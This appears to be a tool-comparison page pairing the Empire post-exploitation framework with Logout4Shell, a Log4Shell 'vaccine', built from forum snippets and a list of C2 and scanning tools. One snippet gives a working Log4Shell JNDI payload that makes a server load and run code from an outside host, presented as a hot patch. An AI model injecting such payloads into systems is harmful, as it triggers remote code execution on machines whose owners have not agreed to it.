Empire
Logout4Shell
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Empire | Logout4Shell | |
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7 | 34 | |
5,966 | 1,727 | |
- | - | |
0.0 | 2.6 | |
over 4 years ago | over 2 years ago | |
PowerShell | Java | |
BSD 3-clause "New" or "Revised" License | MIT License |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
Empire
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i tried downloading a photoshop plugin and malwarebytes now started blocking these constantly
IAB stands for Initial Access Broker. these are hackers who gain initial access, mainly to companies and sell that access to third party groups such as ransomware groups. Powershell Empire is an open source post exploitation tool for windows and u can find it on github: https://github.com/EmpireProject/Empire.git
- HoneyHash
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Canary Tokens
I evaluated this a while back. Cool idea but limited application in a corporate environment. But for personal use, why not?
Someone needs to open a document for the canary token to trigger. Even the smallest company with M365 gets MSIP (formerly Azure Information Protection), if you classify your docs right, only people who own or have been shared the document can decrypt it and even without a good classification, you get logs of any M365 document being opened, so why can't I just have a regular but public doc everywhere and monitor when it gets opened from external IPs, user agents,etc....
I struggled to show value for this. Honehashes are more interesting for me: https://github.com/EmpireProject/Empire/blob/master/data/mod...
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Empire C2 API problem
I've installed Empire C2 on an Arch VM. I've installed it from the github https://github.com/EmpireProject/Empire but the API is not working as expected.
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Why doesn't Empire start??
Is the new version. The original Empire one was discontinued Old: https://github.com/EmpireProject/Empire New: https://github.com/BC-SECURITY/Empire
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Today is a bad day to run a VMWare cluster with thousands of java apps.
PowerShell Empire is a post-exploitation framework written primarily in PowerShell. It is something to consider from a security perspective if remote PowerShell commands are enabled in the environment.
- Empire Program is not getting started
Logout4Shell
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Am I able to see which Dropbox accounts have viewed my links?
#1: RCE 0-day exploit found in log4j, a popular Java logging package | 276 comments #2: Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys. | 71 comments #3: Log4shell - using the vulnerability to patch the vulnerability - very clever | 64 comments
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Ein etwas anderer Jahresrückblick: 2021 in Google Suchtrends
Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell
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Log4j : Logpresso patch issue - remove jndi from jar
another option : https://github.com/Cybereason/Logout4Shell
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I heard you can just inject your server with hydroxychloroquine
Yup
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Patching Log4j
This is actually a thing
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Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell
- GitHub - Cybereason/Logout4Shell: Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
- US warns hundreds of millions of devices at risk from newly revealed software vulnerability
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Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
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Log4j 0day being exploited (mega thread/ overview)
For those that are interested!
What are some alternatives?
sliver - Adversary Emulation Framework
grype - A vulnerability scanner for container images and filesystems
Covenant - Covenant is a collaborative .NET C2 framework for red teamers.
airsonic-advanced
coolify - An open-source & self-hostable Heroku / Netlify / Vercel alternative.
interactsh - An OOB interaction gathering server and client library
PoshC2 - A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement.
Apache Log4j 2 - Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.
merlin - Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
Empire - Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.
log4j-detector - A public open sourced tool. Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too! TAG_OS_TOOL, OWNER_KELLY, DC_PUBLIC